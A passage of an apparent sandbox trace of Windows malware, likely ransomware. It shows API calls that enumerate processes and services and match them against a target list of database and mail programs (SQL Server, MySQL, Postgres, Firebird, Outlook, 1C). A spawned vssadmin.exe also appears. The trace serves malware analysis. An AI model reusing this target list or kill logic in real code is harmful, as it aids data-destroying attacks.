(lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.830] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0053.830] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0053.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0053.830] lstrlenW (lpString="Winmgmt") returned 7 [0053.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0053.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0053.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0053.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0053.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0053.830] lstrlenW (lpString="WPDBusEnum") returned 10 [0053.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.830] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0053.830] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0053.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0053.831] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f30020 | out: hHeap=0x790000) returned 1 [0053.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0053.833] Process32FirstW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.833] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.834] lstrlenW (lpString="System") returned 6 [0053.835] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0053.835] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0053.835] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0053.835] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0053.835] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0053.835] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0053.835] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0053.835] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.835] lstrlenW (lpString="smss.exe") returned 8 [0053.835] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0053.835] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0053.835] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0053.835] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0053.835] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0053.835] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0053.835] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0053.835] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.835] lstrlenW (lpString="csrss.exe") returned 9 [0053.835] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0053.835] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0053.835] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0053.835] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0053.836] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0053.836] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0053.836] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0053.836] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.836] lstrlenW (lpString="wininit.exe") returned 11 [0053.836] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0053.836] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0053.836] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0053.836] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.836] lstrlenW (lpString="csrss.exe") returned 9 [0053.836] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.837] lstrlenW (lpString="winlogon.exe") returned 12 [0053.837] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.837] lstrlenW (lpString="services.exe") returned 12 [0053.837] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.837] lstrlenW (lpString="lsass.exe") returned 9 [0053.837] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.838] lstrlenW (lpString="lsm.exe") returned 7 [0053.838] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.838] lstrlenW (lpString="svchost.exe") returned 11 [0053.838] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.838] lstrlenW (lpString="svchost.exe") returned 11 [0053.838] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.838] lstrlenW (lpString="svchost.exe") returned 11 [0053.839] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.839] lstrlenW (lpString="svchost.exe") returned 11 [0053.839] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.839] lstrlenW (lpString="svchost.exe") returned 11 [0053.839] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.839] lstrlenW (lpString="audiodg.exe") returned 11 [0053.839] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.936] lstrlenW (lpString="svchost.exe") returned 11 [0053.937] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.937] lstrlenW (lpString="svchost.exe") returned 11 [0053.937] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0053.937] lstrlenW (lpString="dwm.exe") returned 7 [0053.937] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0053.937] lstrlenW (lpString="explorer.exe") returned 12 [0053.937] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0053.938] lstrlenW (lpString="spoolsv.exe") returned 11 [0053.938] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.938] lstrlenW (lpString="taskhost.exe") returned 12 [0053.938] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.938] lstrlenW (lpString="svchost.exe") returned 11 [0053.938] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0053.939] lstrlenW (lpString="taskeng.exe") returned 11 [0053.939] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.939] lstrlenW (lpString="taskhost.exe") returned 12 [0053.939] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0053.939] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0053.939] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0053.939] lstrlenW (lpString="noticed.exe") returned 11 [0053.940] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0053.940] lstrlenW (lpString="uploaded.exe") returned 12 [0053.940] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0053.940] lstrlenW (lpString="hardware.exe") returned 12 [0053.940] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0053.940] lstrlenW (lpString="oracle.exe") returned 10 [0053.940] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0053.941] lstrlenW (lpString="creativity.exe") returned 14 [0053.941] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0053.941] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0053.941] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0053.941] lstrlenW (lpString="edited.exe") returned 10 [0053.941] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0053.942] lstrlenW (lpString="custody.exe") returned 11 [0053.942] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0053.942] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0053.942] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0053.942] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0053.942] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0053.942] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0053.943] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0053.943] lstrlenW (lpString="radius.exe") returned 10 [0053.943] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0053.943] lstrlenW (lpString="extensions.exe") returned 14 [0053.943] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0053.943] lstrlenW (lpString="desperate.exe") returned 13 [0053.943] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0053.944] lstrlenW (lpString="professor-mo.exe") returned 16 [0053.944] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0053.944] lstrlenW (lpString="guidance.exe") returned 12 [0053.944] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0053.944] lstrlenW (lpString="week.exe") returned 8 [0053.944] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0053.945] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0053.945] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0053.945] lstrlenW (lpString="sn featured.exe") returned 15 [0053.945] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0053.945] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0053.945] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0053.945] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0053.946] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.946] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.946] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0053.946] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0053.946] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.946] lstrlenW (lpString="cmd.exe") returned 7 [0053.946] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.947] lstrlenW (lpString="conhost.exe") returned 11 [0053.947] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0053.947] lstrlenW (lpString="vssadmin.exe") returned 12 [0053.947] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0054.036] lstrlenW (lpString="VSSVC.exe") returned 9 [0054.036] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.090] lstrlenW (lpString="svchost.exe") returned 11 [0054.090] Process32NextW (in: hSnapshot=0x358, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0054.090] CloseHandle (hObject=0x358) returned 1 [0054.090] Sleep (dwMilliseconds=0x1f4) [0055.625] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32981c0 [0055.626] EnumServicesStatusExW (in: hSCManager=0x32981c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0055.626] GetLastError () returned 0xea [0055.626] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x4f30020 [0055.627] EnumServicesStatusExW (in: hSCManager=0x32981c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f30020, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f30020, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0055.627] CloseServiceHandle (hSCObject=0x32981c0) returned 1 [0055.627] lstrlenW (lpString="Appinfo") returned 7 [0055.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0055.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0055.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0055.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0055.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0055.628] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0055.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.628] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0055.628] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0055.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0055.628] lstrlenW (lpString="AudioSrv") returned 8 [0055.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0055.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0055.628] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0055.628] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0055.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0055.628] lstrlenW (lpString="BFE") returned 3 [0055.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0055.628] lstrcmpiW 